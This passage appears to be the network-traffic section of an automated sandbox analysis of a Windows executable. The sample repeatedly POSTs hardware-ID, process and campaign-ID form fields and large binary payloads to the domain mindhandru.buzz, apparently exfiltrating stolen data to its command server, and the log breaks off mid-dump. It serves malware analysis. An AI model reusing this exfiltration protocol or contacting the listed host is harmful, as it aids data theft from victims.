2024-12-27 14:03:46 UTC	15331	OUT	Data Raw: 2d 2d 54 4b 4a 46 35 45 59 36 54 42 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 4b 4a 46 35 45 59 36 54 42 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 4b 4a 46 35 45 59 36 54 42 38 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 4b 4a 46 35 45 59 36 54 42 38 49 0d 0a Data Ascii: --TKJF5EY6TB8IContent-Disposition: form-data; name="hwid"4AFF57F0A02F072DBEBA0C6A975F1733--TKJF5EY6TB8IContent-Disposition: form-data; name="pid"2--TKJF5EY6TB8IContent-Disposition: form-data; name="lid"PsFKDg--pablo--TKJF5EY6TB8I
2024-12-27 14:03:46 UTC	2796	OUT	Data Raw: c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-27 14:03:47 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ons1ijvd69mbpovac3rmmlbbq8; expires=Tue, 22 Apr 2025 07:50:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZoauoSgmRG2Cfs66ESmyGx%2Fk%2FlQeh03Qprtyb7sUi%2Bl88mPBDQhGGRCWbveA1ir8rnk48q4qdxLsJGJ7RKyT0bY2ejhbDNhgxN%2Bpphey%2BYX906NGWx5x5olyBymTeiXIy8E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db1ea9c1c33d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1501&min_rtt=1495&rtt_var=573&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2838&recv_bytes=19082&delivery_rate=1889967&cwnd=138&unsent_bytes=0&cid=5ec8bc398b2826d8&ts=917&x=0"
2024-12-27 14:03:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:03:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:48 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VORPMJMC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8724 Host: mindhandru.buzz
2024-12-27 14:03:48 UTC	8724	OUT	Data Raw: 2d 2d 56 4f 52 50 4d 4a 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 4f 52 50 4d 4a 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4f 52 50 4d 4a 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 4f 52 50 4d 4a 4d 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --VORPMJMCContent-Disposition: form-data; name="hwid"4AFF57F0A02F072DBEBA0C6A975F1733--VORPMJMCContent-Disposition: form-data; name="pid"2--VORPMJMCContent-Disposition: form-data; name="lid"PsFKDg--pablo--VORPMJMCContent-Disposit
2024-12-27 14:03:49 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kad15n8tv17ob6pbrtsdilg3ip; expires=Tue, 22 Apr 2025 07:50:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D1cKn772o%2FgRSomoqbMvPh6%2FgVIn%2BsSiWKDs1BuoZ6TcIUb46T6jbkvPCJNfJXrnF2Z0jXkmyNvWPzwY%2FiDszAI2MWMMcD1RlvZyDKtbZUmtc8PYmChU%2BSwPmElQtA33UTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db2d5eaa43d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1789&rtt_var=693&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9652&delivery_rate=1554845&cwnd=236&unsent_bytes=0&cid=311d613495edaf85&ts=832&x=0"
2024-12-27 14:03:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:03:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:50 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2AXWIMCJALAQONUJ4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: mindhandru.buzz
2024-12-27 14:03:50 UTC	15331	OUT	Data Raw: 2d 2d 32 41 58 57 49 4d 43 4a 41 4c 41 51 4f 4e 55 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 41 58 57 49 4d 43 4a 41 4c 41 51 4f 4e 55 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 41 58 57 49 4d 43 4a 41 4c 41 51 4f 4e 55 4a 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --2AXWIMCJALAQONUJ4Content-Disposition: form-data; name="hwid"4AFF57F0A02F072DBEBA0C6A975F1733--2AXWIMCJALAQONUJ4Content-Disposition: form-data; name="pid"3--2AXWIMCJALAQONUJ4Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 14:03:50 UTC	5100	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-27 14:03:51 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ja24tit17o0gol7lgtcosmo355; expires=Tue, 22 Apr 2025 07:50:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=42PqexzCeoxXjJKgF9Pdt3ZqJ2E7WoxksN4bTPX5bBLrtzdfEgdCgIEW7sC2l6CSp7qkoeV9ES8Eb9%2B67DDSckDPs%2Blr%2F2UhLyPCh%2FxAejXQCxHL001oOZj5U1%2FhWoPguQs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db3b9ea31a03-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1822&min_rtt=1821&rtt_var=685&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21391&delivery_rate=1594756&cwnd=142&unsent_bytes=0&cid=a24b45de563fcb28&ts=1017&x=0"
2024-12-27 14:03:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:03:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:53 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BWPEZC3FDGW4B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1229 Host: mindhandru.buzz
2024-12-27 14:03:53 UTC	1229	OUT	Data Raw: 2d 2d 42 57 50 45 5a 43 33 46 44 47 57 34 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 57 50 45 5a 43 33 46 44 47 57 34 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 57 50 45 5a 43 33 46 44 47 57 34 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 57 50 45 5a 43 33 46 44 47 57 Data Ascii: --BWPEZC3FDGW4BContent-Disposition: form-data; name="hwid"4AFF57F0A02F072DBEBA0C6A975F1733--BWPEZC3FDGW4BContent-Disposition: form-data; name="pid"1--BWPEZC3FDGW4BContent-Disposition: form-data; name="lid"PsFKDg--pablo--BWPEZC3FDGW
2024-12-27 14:03:54 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7035esidg56lrehf6dae92d7il; expires=Tue, 22 Apr 2025 07:50:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sUXonM0Fc5BBqQ2ZRS%2FBlfNdzr0kinQ%2FcEKwM4wSBrS2z9buzIbVzpOqg5bvwSdya2WogtihHz9kobeEorwx6esd281N38zaJAKkXkys93yvSpNowBlusUDV46K6hCCiy6M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db4bff2a431f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1610&min_rtt=1606&rtt_var=611&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2140&delivery_rate=1778319&cwnd=249&unsent_bytes=0&cid=090fadf668040c31&ts=777&x=0"
2024-12-27 14:03:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 14:03:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:03:56 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V8SRBM714NHP033PVSG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550232 Host: mindhandru.buzz
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: 2d 2d 56 38 53 52 42 4d 37 31 34 4e 48 50 30 33 33 50 56 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 38 53 52 42 4d 37 31 34 4e 48 50 30 33 33 50 56 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 38 53 52 42 4d 37 31 34 4e 48 50 30 33 33 50 56 53 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --V8SRBM714NHP033PVSGContent-Disposition: form-data; name="hwid"4AFF57F0A02F072DBEBA0C6A975F1733--V8SRBM714NHP033PVSGContent-Disposition: form-data; name="pid"1--V8SRBM714NHP033PVSGContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 4e f6 4a f7 Data Ascii: x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7NJ
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb ed 7e cf d1 Data Ascii: iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99~
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb 2e dd f5 c6 Data Ascii: n(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5*+!y%~t?1RAP& l.
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f be 8e 3d 89 Data Ascii: 7s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g=
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 0c 3d 44 da Data Ascii: Un)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q=D
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 63 32 75 30 Data Ascii: yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vcc2u0
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 